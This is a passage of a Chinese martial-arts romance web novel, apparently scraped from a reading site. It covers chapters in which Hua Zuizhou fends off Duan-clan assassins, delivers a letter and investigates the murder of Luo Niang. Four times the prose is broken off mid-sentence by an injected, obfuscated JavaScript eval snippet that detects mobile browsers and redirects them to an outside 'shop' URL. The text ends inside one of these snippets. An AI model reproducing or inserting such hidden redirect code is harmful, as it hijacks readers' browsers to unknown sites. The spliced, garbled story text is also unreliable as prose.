谁承想,肖寻岳刚迈开腿,一柄三寸刃就悬在他脖间,刚刚还站在他俩面前,戴着面具的男人捏紧他的肩膀,从他身后探出半个身体。 他瞧了瞧花醉州那柄剑:“闻家娘子?我们的目标不是你,你走吧。” 花醉州眨着眼,对面前的情况有些摸不着头脑,目标不是她,反而是肖寻岳? 他什么时候得罪段家了? 花醉州眼神发问,肖寻岳小心的摇摇头,他也不知道啊! 那人看花醉州不打算走,也没管她,手一动便要将刃刺入肖寻岳的咽喉。 花醉州见状不妙,猛地甩出匕首,正巧插在那人手背上。 “啊——!”他手一抖,只在肖寻岳脖侧留下一条血痕,肖寻岳趁机用胳膊肘向他的胸口,那人吃痛,往后踉跄。 花醉州一把拉回他,顺势上前一步拔下他手上那匕首,狠狠插在他的心口,一击毙命。 握着匕首的手有些抖,这是她第一次杀人。 霎时,远处树枝上“唰唰唰”跳下几个人,呈圆形慢慢朝她逼近。 来不及多想,花醉州咽下心慌,粗略一看,竟有足足三十人。 她忍不住啐了一口,这段家,人还真多。 看起来,今日是要不死不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449774|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休了,花醉州伸出手指吹了个口哨,这里离县衙不算很远,希望颜斐能听到。 “谁派你们来的?”花醉州朗声问道,声音很大,惊的树上的鸟纷纷飞起。 没人说话,反倒是朝她跑的更快了。 花醉州眼一扫,这些人,都是死士吗? 包围圈越来越小,花醉州眯眼打量着,她轻功不错,绝对能跑,若带上肖寻岳,会拉慢她的速度,可又不能放任他在这里等死。 花醉州摸出颜斐上次在牢里塞给她的迷药,悄悄拨开瓶塞,放到肖寻岳手中:“迷药。” 疾风掠过,几个杀手抽出软剑,花醉州来不及管肖寻岳,竖起剑一挡,剑尖顺力拨向她的下颌,一道血瞬时流出。 “嘶!”花醉州顾不及疼,折腰往后一躲,剑竖着从那人左肩劈到右肋,匕首一转,封喉见血,温热的血洒在她侧脸。 剩下的人还没动,都在原地徘徊着。 花醉州嗤笑一声:“怎么,怕了?” 不知道谁在人群里喊了一声:“家主说了,谁杀了肖寻岳,赏十两金!” 钱是个好东西,花醉州今日算见识到了。 人群像饿狼一样扑来,花醉州回头一瞥,发现肖寻岳紧紧握着那药瓶,却没拔剑的意思。 “拔剑啊!”花醉州说道。 肖寻岳没有看她,紧紧盯着一步步逼近的杀手:“我不会用剑!” “?” 花醉州默了默:“那你佩剑干什么!” “我,装装样子啊,万一遇上这种情况,也能吓唬吓唬人……” 说话间,杀手已至,花醉州矮身躲过朝脖子袭来的软剑,顺手拉下肖寻岳,他一下没站稳,瓶中的迷药尽数挥洒。 所幸两人事先闭气,颜斐的迷药药性大,一下就迷倒一大片。 花醉州蹬地借力而起,长剑一指,划破两个人的喉咙。 刚落地,身后传来一声“小心”,下一刻一个温热的胸膛贴在她身后,肖寻岳闭着眼睛,头倚在她的肩上:“有暗器……” “肖寻岳!肖寻岳!”花醉州晃了晃他,人却紧闭着眼,没醒。 花醉州看着他安静的脸,突然开始发慌,一颗心跳的像是要挣脱出来,是怕他死吗,或者有更多的情感吗? 她慌着神,段家人却不会心慈手软,乘势拿暗器朝她扔来,花醉州抬剑挡下,抬起脸,眼神冷厉,剩下的十几人不由一颤,好像,是一场恶战。 花醉州把剑挡在身前,拉着肖寻岳一步步退到离自己最近的树旁,把他靠在树边,自己则守在他身前,留霜剑立于身侧:“一群喽啰。” “呀!” 右侧一人高喊一声,甩出三尺刃,同时拔出软剑,花醉州眼神一凛,竖剑挡下,软剑如波,顷刻即到。 花醉州抬脚踹上腹部,剑横抬至头顶,挡下剑尖,顺势往上一拨,那软剑剑尖回弹到杀手头上,差点刺瞎他一只眼。 这厢还没击退,又有人抽出软剑袭来,花醉州踏着树干,翻身躲过,却不想软剑胜就胜在攻势莫测。 眼瞧着剑尖就要掠过肖寻岳脖颈,花醉州把匕首往下一甩,紧压着软剑一路从肖寻岳领口处的衣襟向下滑至地上。 然后侧身弯腰,用剑拨开那柄软剑,一个前刺,正中胸膛。 一枚枚三寸刃从四面八方袭来,花醉州立剑挡住三枚,顺力往外甩出,没入杀手的身体,几人当场倒地不起。 却还是疏忽大意,漏掉了一枚。 “噗呲”一声刺入腰侧,三寸刃之所以叫这个名字,就是因为它极薄极短,三面皆是刃,一旦施力,便会刺入三寸之长,只留一小截在体外。 花醉州喘息着,气息不稳,这东西,还真疼。 她摸上侧腰那片金属小凸起,闷哼一声,咬牙拔出。 剩下没几个人了。 花醉州剑鞘抵地,这车轮战,还真是消耗体力,她忽的想起昨晚肖寻岳说的话,看来,他居然还高估她了,她甚至都不能以一敌百。 只是今日,怕是不能送信了。 正打算撑地站起,远远的传来一个熟悉的声音。 阿斐来了。 颜斐刚听到那哨声,又远又小,还以为是自己听错了,但方向确实是从后山来的,那正是他指给师姑的方向啊! 以防万一,还是去找了杜弋,带了一队衙差帮忙,所幸及时赶到,师姑没受多少伤。 花醉州捂着腰侧,叮嘱道:“留个活口。” 说完,像是支撑不住似的,仰头往后一倒。 21. 送信 也许是不想把事情闹大,那些人一见官兵来了,也不恋战,转身便跑。 眼瞧人都要跑完了,颜斐来不及扶起花醉州,只好跨步翻身,立在距他最近的一个黑衣人眼前。 那人没有防备,却也知道自己跑不了了,舌头一挑,颜斐就掐住他的下颌,直接卸了下巴,还顺手点了个穴,让人动弹不得。 “小爷面前还想咬破毒药?做梦。” 然后拖着他的后衣领,指着肖寻岳靠着的树干,朝衙差说:“麻烦各位大哥把人抬回去,哦对了,县令在那边!” 杜弋刚从大牢回来,就看见肖寻岳被人抬着从后山回来。 “县令可有事?”杜弋揪住队伍末尾的颜斐,问道。 颜斐冷不丁被拽的往后一仰,差点摔倒:“哎呦我,县令没事!但是你再揪着我,保不齐有事儿呢!” 杜弋手猛地一松,冷冰冰丢下一句话:“治不好,唯你是问。” 正打算走,被人搀扶着的花醉州手动了动:“等等……县尉……” 杜弋脚步一顿,转过身。 “何事。” 花醉州喘口气,指着被五花大绑架在木棍上的黑衣人:“这是今晚……行刺于我的凶手,有劳县尉。” 杜弋看了看昏迷的肖寻岳,和满身伤却无大碍的花醉州,这花醉州是在说谎,还是她武功真的这般高? “多谢,我先将其下狱,等明日县令醒了,再行决断。”杜弋拱拱手,不动声色压下疑心。 “哎呀行了,别说了,伤的这么重还一直说说说,我才十三岁,成天跟个管家似的,累死我了……” 颜斐推着人进了后院廨舍,关门之前还特意和杜弋道了声谢:“多谢县尉今日出手相助。” 杜弋点点头,表示接受了,却没说话,提着杀手转身便走。 颜斐撇撇嘴,倒也没在意,谁让人家就是块冰呢。 进了门,颜斐扒拉开花醉州捂着伤口的手:“师姑,快,我先给你看看。” 花醉州拦住他的手:“我只是体力透支了,这些都是皮外伤,我能自己包扎,你还是先看看他。” 毕竟他明早还有安排,若是耽误正事就不好了。 颜斐手一顿,认命般的叹口气,给她端来药和纱布:“得得得。” 肖寻岳伤在后背,伤势不重,也不触及心脉,颜斐手搭在他的腕间,蹙着眉,一副高深莫测的样子。 花醉州有些急:“到底如何?你快说啊!” “哎呦师姑,安心啦!就是中了软筋散而已,”颜斐一边剪开他后背的衣服,一边发出疑问,“这杀手,是想活捉他吗?” 花醉州看着床榻上安睡的人:“我也不知道。” “杀手是什么人啊?”颜斐看着肖寻岳左背那块血红的伤口,这扔三寸刃的人怕是用了全力,这都镶嵌进皮肉了。 “曲水段家。” “段家?!”颜斐偏头看花醉州一眼,“不对啊,既然是段家人,不应该挑衅师姑你吗?” 按理说,段家人和他们闻家人一直针锋相对,哪怕是江湖武举之时,两家人见了面都鼻子不是鼻子,眼睛不是眼睛的,伤朝廷命官干什么。 “所以我才让你留个活口。” “合着县令自己也不知道啊?” “嗯。”花醉州撸起袖子,撒上药粉,刚触及伤口便是一阵灼烧感。 “嘶!”怎么这么疼!花醉州手一抖,差点洒出半瓶,停下手缓了缓,忍着疼咬住纱布,头往后仰,手一扯,在胳膊上系紧。 “哎呦,那这心可真大。”颜斐一心看着肖寻岳的伤势,没注意花醉州那微弱的吸气声。 颜斐拿起镊子,拨开一小块皮肉,肖寻岳闭着眼,闷哼一声,手指抓紧床褥,力道大的差点将其撕裂。 “忍着点啊县令,这三寸刃太深了,我马上就拔出来了。”颜斐一边安抚,一边迅速下手,用钩针快准狠地勾出那片刃,然后扔到一旁桌上。 花醉州放下袖子,这才问道:“明早卯时之前,他能醒过来吗?” 颜斐一边吹着伤口,一边撒上金疮药:“这就得看县令平日都是几时醒了,软筋散好解。” 花醉州这才松口气:“这就好。” 明日一早,他若不起,她就把他揪起来。 说罢,披上夜行衣,伸手捞起桌上的剑,推门便要出去。 “哎,师姑,这么晚了你去哪啊?” 身上的伤还没好全呢,又折腾啥? 花醉州站在门口,头也没回,颇有几分大侠之风:“送个信而已。” 颜斐蹲在床边,眼里闪烁着莫名激动的神色,这才是真正的大侠啊! 他决定了,他这次要把那些话本子全扔了! * 曲塘县衙外有一大片林子,因着都是百姓种来砍去换钱的,所以种类杂,纵使十月末,远远瞧着也是郁郁葱葱的。 昨晚和肖寻岳吵了一架,今早他就派人去外面查了一番,据衙差来报,说是并无埋伏的痕迹。 花醉州躲在树上,瞧着土路上那些深深浅浅的脚印,还有乱七八糟折断在地上的树枝,断面整齐,一看就是刀割的,不是斧头砍的。 这些官兵,都是吃干饭的吗?这么明显的埋伏痕迹,居然还能睁眼说瞎话。 怕不是在城墙外蹲了一个时辰。 花醉州一路朝北走,凭着记忆摸到那座驿站,这驿站还算显眼,原本三面都是树,看着像是要隐匿其中似的,那招牌和门却明晃晃的露在外面。 说来冯知福这人也真是奇怪,明明县里有更好的官驿,偏偏住这么阴森的地方。 真是瘆得慌。 客栈外面没有一个人,甚至没有马,只有两个大红灯笼。 花醉州凑近院墙,下蹲起跳,一不小心扯到了腰侧那伤,疼的她倒吸一口凉气,但事情耽搁不得,稍缓了缓,蹬着墙攀上围墙。 院里站着一群穿戴齐整的官兵,却无一人举火把,就那样呆站在夜色里。 若是进院,动静必然不小,但这么多人,她一个人又不能正面对抗,只能另行他法。 花醉州趴在上面露出头,环视一圈,幸而今夜夜色算好,后院看守比之前院要少很多。 不过,她虽然不知道冯知福在哪间房,但这客栈,指向也太明显了吧? 偌大一座客栈,唯有二楼左上房亮着灯。 真是哪里都透着诡异, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449775|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风呼啸着,鬼哭狼嚎,唯一亮着灯的房间也忽闪忽闪,似乎下一刻就要熄灯似的。 花醉州蹬着墙,慢慢往下滑,猫着腰走到后院攀上院墙,往下一瞄,有六个人,都呆愣愣的,也不四处巡视,只知道盯着前方。 六个人,如果只是打晕,应该还是能做到的,花醉州小心翼翼往上爬,伸出右腿勾住院墙,横着趴在上面,手心撑着一转,便轻声落在几人身后。 却不小心踩了片枯叶,清脆的“咔嚓”一声,几人缓缓扭头,花醉州顾不得身上疼痛的伤口,趁着还未转过来,快步上前,几个手刀下去,六人便纷纷倒地。 “呼。”花醉州小心拍了拍胸口,吓死她了。 这地方处处诡异,花醉州心里发毛,只怕有埋伏,加之又受了伤,不欲多待,便借力攀上二楼房檐,另一手抓紧窗棂。 距离有点远,不方便戳破窗纸,只隐隐约约能看到房内似乎只有冯知福一人,奇怪,他那个义子呢? 不侍奉在义父身边…… 不好! 电光石火间,花醉州突然有了一个不好的猜测,既然冯季怀就是昨晚那个黑衣人,不在这里,莫非是又行动了?! 只是,她一时竟想不到他的目标可能是谁,花醉州思索着,脑子里慢慢浮现出一个人。 对,她可以回去找杜弋,现在还是先送信要紧。 花醉州慢慢放开抓着房檐的手,站稳在窗外,反手抽出一支箭,然后从怀里掏出肖寻岳给她的信,系在箭上,拉开弓弦,瞄准床榻边沿。 刚把箭射出去,花醉州耳朵一动,南边的方向,远远传来踩踏树枝的声音。 这么晚了,莫非,是冯季怀? * “嘶啊,舒坦。” 城外驿站,冯知福躺在榻上,腿弯放在榻边垂下小腿,两只脚泡在生姜紫苏养生水里,上面还铺了满满一层花瓣。 “峥——” 正闭眼享受着,冯知福小腿突的一凉,一只箭擦着卷起的裤腿插在床沿,箭尾还不住回弹着。 冯知福噌的睁开眼,胳膊肘撑在床上,费了好大劲儿才从床上卷起来。 箭尖绑着一张纸条,冯知福取下一看,只有九个字:“明早卯时,不酣楼一叙。” 不是他所想之人的字迹,落款却为商。 商? 冯知福眯起眼,这肖寻岳是何意,他今日说的不明白吗? 正思索着,窗户一响。 冯季怀穿着夜行衣,从窗外跳进来,单膝跪下拱手道:“义父,儿子已查明,那小孩名叫阿良,是宋津臣取的名字,平日都叫肖寻岳大兄,和花醉州倒是没什么关系。” “哦?宋津臣,肖寻岳,”他念叨着两个人的名字,“这倒是一个意外之喜。” 冯知福脸上肉挤肉,一笑更显拥挤。 “义父,”冯季怀眼神狠厉,伸手做了个抹脖子的动作,“要动手吗?” “哎,”冯知福翘着兰花指,制止道。 “季怀,不要这般残忍,毕竟是个小孩子啊。” 他声音渐渐放轻,用着气音,像是生怕被人听到似的:“你去把他抓起来,割掉一只耳朵。” “是。” 22. 命案 戌时四刻,杜弋的官舍还亮着。 “笃笃笃——” 花醉州站在门外,敲了三声,小声喊:“杜县尉。” 听到声音,杜弋的眼睛从两桩案子的验状上移开,花醉州?这么晚了,她来干什么。 他卷起手里的验状,放到桌案一旁:“进。” 花醉州关上门,急匆匆拉了把椅子坐在他对面,自顾自倒了杯水。 杜弋看着她的夜行衣,问道:“这是……” “哦,办了点事。”她不甚在意,随口道。 口干舌燥的不适缓解后,花醉州往前倾身,胳膊搭在桌案上,问道:“刚刚县里可有出什么事?” 杜弋靠在椅背上,神情疑惑:“娘子何故如此问?” 没有出事?莫非是她想多了? 花醉州不知道肖寻岳有没有把计划告诉杜弋,一时也拿不准要不要把今晚之事说出来,斟酌几番,只好模糊着说:“今晚凶手可能会出现,县尉若信我,现在就召集衙役布防,说不定还能抓到凶手,甚至可能救下一条人命。” 她言之凿凿,杜弋那日日无波的脸上突然有了些裂缝,他从未想过她来此,说的话竟然会是一个预言。 “你说什么?” “你不信我?”花醉州有些急,反问道。 杜弋没说话,细细观察着她,额头上满是汗,蹙紧眉头,坐到椅子上已有半盏茶的功夫,到现在还一直微微喘着气,一看便知是跑了不少路。 但她的话实在惊世骇俗,说实话,他并不认为在官府大张旗鼓宣告封城缉凶后,凶手还能出来杀人,要么是个心理变态的杀人魔,要么就是个痴傻的疯子。 只是这凶手显然都不是,昨晚就是个例子。 “据我所知,闻家好像不教占卜之术。” “是不教,但我也不是占卜出来的。” 花醉州竖起手指对天发誓:“我以闻家百年信誉为保,我花醉州今晚所言,绝非戏言。” 绝非戏言?可刚刚在后院,她才刚骗过他。 “那娘子来找我,是想让我帮忙?”他指指花醉州捂着腰侧伤口的手。 花醉州眼里闪过一丝锋芒,他这倒是说对了,要不是她受伤了,今晚必定一路跟踪,毕竟和冯季怀那样的高手过招,才是痛快。 “是,”花醉州倒也坦诚,没遮掩,“但县尉,你是捕贼官,你若实在不信我,就当是以防万一也好啊,万一真的发现什么,不也是大功一件吗?” 她说的在理,身为捕贼官,缉凶查案,本就是分内之事,他根本没有拒绝的理由,杜弋深深看她一眼:“县令倒是并未下令撤防,娘子想怎么做?” 花醉州取下腰间挂着的木哨:“既然并未撤防,不知这枚木哨,可还能用?” 杜弋粗看一眼,原本的木哨没打磨没上油,但如今这只,不仅上了油,还刻了花纹。 “自然可以。” 听到肯定,花醉州把木哨收回手心,笑了笑:“那便好,还请县尉点一队人,先藏在暗处,等我一吹木哨,再出现打他个措手不及。” 她受了伤,力不从心,不是冯季怀的对手,但如果人多了,他再如何也要掂量掂量,能不能担得起冯知福的怪罪。 “好。” 花醉州刚和杜弋谈妥,县衙外好久未用,已经积了厚厚一层灰的鸣冤鼓突兀响起。 一声声闷响在夜里却格外刺耳。 杜弋坐直身体,立刻起身往门外走去。 花醉州看他这副样子,没由来的紧张,莫非,她还是晚了一步? 两人踏出门槛,就见衙差架着一个人的胳膊,那人两鬓斑白,神情惊恐,腿软的半瘫在地上,嘴里不停重复着:“死人了!死人了!!” 脚步渐近,有人从县衙里出来,他抬起头:“罗娘!罗娘她死了!” 罗娘? “你胡言乱语什么?!”花醉州揪起地上人的领子,质问道。 他摇着头,似乎是要把脖子摇断一般:“没有,没有胡言乱语!真的死了!阿良,阿良也不见了,还有阿朵……” 说到这,老人像是疯了,不停拍打着脑袋,发出怪异的啊啊叫声。 花醉州松开手,退后一步。 杜弋微不可察的蹙蹙眉,转头看向花醉州,她居然说对了,真的死人了。 “他是罗娘的邻居。”杜弋的声音从身后冷冷传来,向她解释道。 所以他不会认错。 杜弋朝一旁站着的衙差挥挥手:“去把我的东西拿来。” “去沟尾巷。”他越过花醉州,说道。 沟尾巷离县衙不算太近,约莫走了两刻钟才到。 整条巷子里的人全都起了夜,或是穿戴整齐,或是披着外袍,围在罗娘屋前议论着,说来说去,无非就是感慨世事难料,再庆幸这种事没有落到自己头上。 花醉州跟在杜弋旁边,远远的就看见了坐在院子里的阿朵,眼睛哭的通红,手里还紧紧抓着罗娘那根拐杖。 “官府查案,闲杂人等退后!” 衙差遣散了看热闹的一众人,给杜弋开了条道。 屋子里没有打斗痕迹,只有躺在血泊里的罗娘,和坐在她旁边不知所措,哭泣不止的阿朵。 “来,阿朵,到阿姊这里好不好?”花醉州站在院门口,勉强扯出一个笑,蹲下朝她张开手。 “……阿姊……”三岁的小孩还什么都不懂,抹着泪朝她走近。 阿朵一到她怀里,声音就小了许多,只是身体还颤抖着,她抽噎着问:“阿姊,阿朵以后是不是都吃不到羊肉蒸饼了,刚刚我推大娘,大娘怎么都不起来,还流了好多血……” “还有,还有我阿兄……我以后再也不要晚上吃东西了,能不能让阿兄回来……我是不是,我,永远见不到他了……” 花醉州眼睛一酸,泪差点夺眶而出,只好一下一下摸着她的头,不时拍拍背给她顺气,也不知道怎么回答她的问题。 死亡对于她来说是个很难懂的事,她也不想让阿朵这么早就经历死别。 她抚着阿朵的背:“阿朵以后要是想吃蒸饼就来找阿姊,阿姊带你去吃,大娘呢,只是去了一个很远的地方,她太累了,她要休息休息。” “你阿兄呢,是出去外面给阿朵找好吃的了,马上就回来,好不好?” “嗯……”阿朵揪着花醉州身前的衣服,闷声回答。 “记,死者双手无伤,表情惊恐,双眼瞪大,应是没有防备,瞬间被杀。” “身上并无其他伤痕,唯有脖颈处一道致命伤,”杜弋抬头看了看天色,“此刻亥时,时间对不上,应不是连环凶杀,伤口深且长,凶器应为横刀。” 杜弋戴上面巾,验着尸,一字一句清晰的砸入花醉州的耳朵。 花醉州抱着阿朵,看向罗娘那身麻衣,她笑了笑,她现在还记得它粗糙的触感。 就像罗娘一样,满身都是生活的粗粝。 “验尸完毕,先带回县衙,明日二验。” 杜弋站起身,衙差搬着担架把罗娘小心的放上担架,然后盖上白布。 地上空了,只有血迹。 担架擦身而过,带起一股血味的风,花醉州一边把阿朵的眼睛捂紧,又茫然的伸出手,想抓住那块白布。 只是风也要和她开个玩笑,从下往上一吹,正巧让她满手空。 阿朵的泪溢了她满手,有些涩。 白色的担架像一沓厚厚的纸钱,穿行在人群里。 “县尉,这都死了三个了!” “是啊,真吓人了!” 人们远远探头瞧着情况,你一言我一语,全是惶恐,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449776|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕,还有同情。 杜弋转过身,问道:“谁第一个发现死人了的? 人群里有个汉子:“我知道我知道!罗老汉第一个瞧见的!” 他左看右看,嘴里嘀咕着:“哎?罗老汉呢?” 杜弋使了个眼色,衙差押着刚刚在县衙门口敲鸣冤鼓的人走到院子里。 那汉子一看:“对对对,对了,就是他第一个瞧见的。” 杜弋又问:“有谁看见了凶手。” “没有啊!这都睡得好好的,突然听到外边有人叫唤,起来一看就死人了。” “哦对对对,叫的可凄惨了!” “还有小孩的哭声。” 人们一句接一句,却都是不知道,没看见,阿朵闷闷的声音从她怀里传来:“我看见了,他穿着和阿姊一样的衣服。” 花醉州抚着她背的手一僵,慢慢退开身子:“阿朵,你……” “但那个人不是阿姊,他的声音很粗,我能听出来,不是阿姊。”阿朵哑着嗓子,稚嫩的声音响在院子里。 穿着和她一样的衣服? 花醉州突然想起昨日赵合说的话,杀吴耳的人,也穿着和她一样的衣服。 “阿朵,你还记得什么?” 那罗老汉一直沉默不语,突然说:“他带着帷帽,没有人看见他长什么样子。” 帷帽?又是帷帽! 一定是冯季怀,一定是他! 杀了人,还要嫁祸到她身上。 花醉州眼里燃着怒火,站起身就要往那座驿站跑去。 “不要……”一道虚弱的声音在她背后响起。 花醉州顿时僵在原地,有些不可置信,几乎是瞬间,她肯定,肖寻岳来了。 他刚醒,药劲儿还没下,拄着一根木棍一步步走来,颜斐拿着一个手炉跟在他身边扶着他,少见的没有说话。 “你怎么来了。”她没有回头,只是问。 肖寻岳本不想说,颜斐嘴快:“那鸣冤鼓一响他就醒了,我按都按不住……” 一旁的百姓看到肖寻岳,像是看到了主心骨,纷纷叫嚷着怎么办,要让他给个说法。 见事态隐隐有扩大的情况,肖寻岳转头看向杜弋,他现在虚弱得很,没多少力气,也说不了几句话,杜弋见状点点头,表示明白。 “回县衙。”杜弋吩咐道,衙差押着几个闹事的百姓就下去了,连带着阿朵,还有那罗老汉。 两人静默着,肖寻岳站在花醉州身后,目光一寸寸滑过她颤抖的脊背,攥紧的双手,洇出血的纱布,还有细微的啜泣。 他伸出手,拉住花醉州的衣袖:“阿醒。” 花醉州缓缓转身,红着眼,小声说:“怎么办,罗娘死了,阿良也丢了。” * 曲塘外十里树林,夜黑风高,林里站着一个披着黑袍的男人,兜帽很大,盖住了他整张脸。 “什么?没抓到?” 男人沙哑狠厉的声音藏在兜帽之下:“你们段家人都是干什么吃的!” 跪在他身后的几个死士还没回答,旁边传来一道令他厌恶的冰冷语调。 “诶,”一旁走出一个衣着华贵的清瘦女子,“话别这么难听啊小友,谁能想到花醉州居然会出手,这次派出去的人,都不是什么精锐,折了便折了,你回去和你家主子说,若是肯再给我们一个机会,这次,必不会失手。” 男人没有回头:“你的诚意呢?” 她手腕一翻,抽出腰间软剑,如鞭一般甩出,霎时结束了那几个失败者的性命,然后掏出软帕擦掉血迹,说:“我这诚意,小友可满意?” 男人微微侧头,露出一双眼睛往后瞧了瞧,回过头:“何时动手。” 女人笑了一声:“小友别急,这次定要给他布下天罗地网,叫他求生不得求死不能。” 23. 拥抱 今夜是个多云夜,没有星月,只有冷风,花醉州坐在屋顶,蜷起身子抱紧自己发软的腿,把头埋在膝盖之间。 好冷,她忍不住瑟缩一下。 肖寻岳刚从院门口拐进来,看见的就是她这脆弱的样子,倒是罕见。 “杜弋已经出去寻阿良了,”他的声音清清柔柔的从地上传来,“阿朵受了惊吓,也在偏院睡着了。” 花醉州眼睛一瞥,没有说话。 “我不会轻功,阿醒先从房顶下来好不好?”他背着手,好像提着什么东西,被他严严实实藏在身后。 花醉州静默片刻,飞身下来,自顾自坐在台阶上,和昨晚守在周平房前一样。 肖寻岳迈步走向她坐在一旁,递给她一件袍子,然后变戏法般从身后提出一壶酒,放在她眼前晃晃:“这是曲塘最好的酒,叫夜花酿,虽不及仙人泪,但也好喝,要试试吗?” 花醉州没动,没披上袍子,也没接过酒。 肖寻岳看她这幅样子,默默把酒放到一旁,给她披上袍子:“夜风性寒,披上些小心着凉。” 见她还是偏着头不说话,肖寻岳起身换了个方向,坐到另一侧,面对着她的脸:“阿良不会有事的,凶手选择带走他而不是杀了他,就说明他有价值,短时间内不会动他的,而且,杜弋已经去找了,别担心了,嗯?” 花醉州托着脸,泪终于忍不住般一颗一颗滚落,不知道段家人在那三寸刃上涂的什么药,她现在只要一用内力,就会经脉胀痛,继而四肢绵软。 若不然,她也想跟着杜弋去找人,而不是现在这样,只能干着急。 “都怪我。”她嗓子哑着,说出从沟尾巷回来后的第一句话。 她接着说:“今日我带着阿良走在街上,总感觉有人窥视,我还以为是我感觉错了,要是,要是我再敏锐一点就好了,要是我守着罗娘她们就好了……” 越说越语不成调,泣不成声。 她不明白,为何人与人之间的羁绊永远如此脆弱,她明明今日刚认识罗娘,明明还约着给她做蒸饼吃,明明,明明…… 就像大师兄一样,明明约好了,等他从战场上回来,就教她习武,教她长枪的,可他失约了,罗娘也失约了。 她恨,恨自己没有能力,恨自己武功不够高,恨自己不敏锐。 肖寻岳嘴角微微向下抽动,压下眼底的泪:“这不怪你。” 他按上花醉州的肩头,稍使了些力,把她从恍惚中拉回来:“人毕竟不能未卜先知,你不必苛责自己,想来罗娘,应该也是为了保护阿良。” 听他这么说,花醉州又想起罗娘张牙舞爪抄起拐棍朝她打来的样子,很是直爽,她不由得一笑,正想说给肖寻岳听,却猛地想起小院里那滩暗红色的血,继而笑又停在脸上。 肖寻岳收回手,搭在自己腿上,嗓音轻柔,像在讲一个故事,娓娓道来。 “罗娘没有孩子,自从阿良兄妹在沟尾巷住下,罗娘就一直管着他俩的三餐,还时不时缝几件衣裳,等她汉子出海挣钱,她就会把兄妹俩接到自己家住,就像今天一样。” 花醉州愣住了:“她……为什么没有孩子?” 听到她的问题,肖寻岳有些释然的笑笑:“是为了保护宋县丞,前几年,县里地荒,宋县丞去考察,不知道从哪就蹦出一只大虫,跟着的衙差都吓跑了,只有罗娘,挡在他前面,一爪子下去,肠子都出来了。” 他顿了顿,继续说:“好在罗娘福大命大,那年有位游医,虽然年轻,医术却很好,她本不想管,毕竟肠子都出来了,其实活的概率不大,她也怕砸了自己的招牌。 “宋县丞跪下来求她,头都磕破了,不过毕竟是医者仁心,最后她还是心软,有惊无险,救下了罗娘,也许有得必有失吧,捡回一条命,就要用孩子来换。” 花醉州看着他,眼泪不自觉又流了满脸,罗娘已经这么惨了,最后还不能寿终正寝,体体面面的走。 肖寻岳说完,忍不住一笑:“怎么又哭了?” 哭包。他心里说。 花醉州却越哭越凶,到最后肩膀都忍不住抖起来,肖寻岳张开手臂,下意识想把她抱到怀里,只张开了很小的幅度,却让他僵在原地。 他现在是什么身份,怎么能抱她,这是逾矩。 他唾弃着自己趁人之危的行径,却又心里发慌,为什么看她哭,他会心疼。 花醉州心里堵着一口气,上不去下不来,难受得紧,也没注意肖寻岳的状态,转头一下子扑到他身上,揽着他的脖子。 她现在就想抱着个什么东西,怀里满满的,才会显得心不那么空。 肖寻岳僵硬的被她抱着,双臂慢慢打开,感受到她的脑袋放在自己颈窝,濡湿了一大片衣领,手轻轻放到她背上,一下一下轻抚着。 背着人,肖寻岳才敢流下一滴泪,又快速擦过,轻声叹气吐出心里郁结。 真好,他还能做她情绪的依托。 花醉州闻着他身上让人安心的墨香,稍缓了缓,哭声渐小,慢慢放开手:“抱歉,我逾矩了,如果阿斐在,我定不会冒犯你。” 肖寻岳一把拉住她的手腕:“难道你还会抱颜斐?” “对啊,怎么了?” 怎么了?他也想问,怎么了,问她这个问题干什么,人家俩是师姑侄,很正常啊。 花醉州看着他慢慢松开的手,莫名其妙。 “对了,你刚刚,有问出什么吗?” 从沟尾巷回来,吴老汉就被暂押牢房,肖寻岳刚刚才审问完。 “没有,他年纪大了,精神一直不太正常,时而疯癫时而清醒。” 花醉州慢慢垂下头,抱住胳膊:“你觉得,会是冯季怀吗。” “八成把握。” 说到这儿,肖寻岳像是想到了什么好笑的事情,说:“今日我在前厅,诈了他一句,他果然暴露了。” “你是说吴耳的案子吗?” “嗯,而且看样子,冯知福并不知情。” 两人静默片刻,两道连续的打更声从县衙外悠悠响起:“二更已至,关门关窗,防偷防盗!” “太晚了,你先回去休息吧。”肖寻岳起身,拉开距离。 花醉州摇摇头,有些执拗:“不,我就在这里,等杜弋回来。” 她一定要守到人,守到阿良。 肖寻岳知道她在坚持什么,蹲下身,说:“阿醒,如果真的是冯季怀带走的人,那针对的只会是我,而非你。” 他想起今日冯知福说的话,没有继续说下去:“而且,明日之事,还要多拜托你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 